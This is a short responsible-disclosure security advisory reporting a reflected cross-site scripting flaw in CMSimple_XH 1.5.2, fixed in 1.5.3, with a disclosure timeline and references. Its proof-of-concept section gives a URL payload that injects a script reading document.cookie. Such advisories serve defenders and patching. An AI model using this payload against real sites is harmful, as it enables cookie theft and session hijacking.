CMSimple_XH 1.5.2 Cross-site Scripting vulnerability

[sschurtz@xxxxxxxxxxxxxxx]

Advisory:               CMSimple_XH 1.5.2 Cross-site Scripting vulnerability
Advisory ID:            SSCHADV2012-008
Author:                 Stefan Schurtz
Affected Software:      Successfully tested on CMSimple_XH 1.5.2
Vendor URL:             http://www.cmsimple-xh.de
Vendor Status:          fixed

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Vulnerability Description
==========================

CMSimple_XH 1.5.2 is prone to Cross-site Scripting vulnerability

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PoC-Exploit
==================

http://[target]/cmsimple/cmsimplexh152/?'"</script><script>alert(document.cookie)</script>

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Solution
=========

Update to the latest version

====================
Disclosure Timeline
====================

15-Mar-2012 - vendor informed
19-Mar-2012 - fixed in version v1.5.3

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Credits
========

Vulnerability found and advisory written by Stefan Schurtz.

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References
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http://www.cmsimple-xh.de/?History_und_ChangeLog/19.03.2012_-_v1.5.3
http://www.darksecurity.de/advisories/2012/SSCHADV2012-008.txt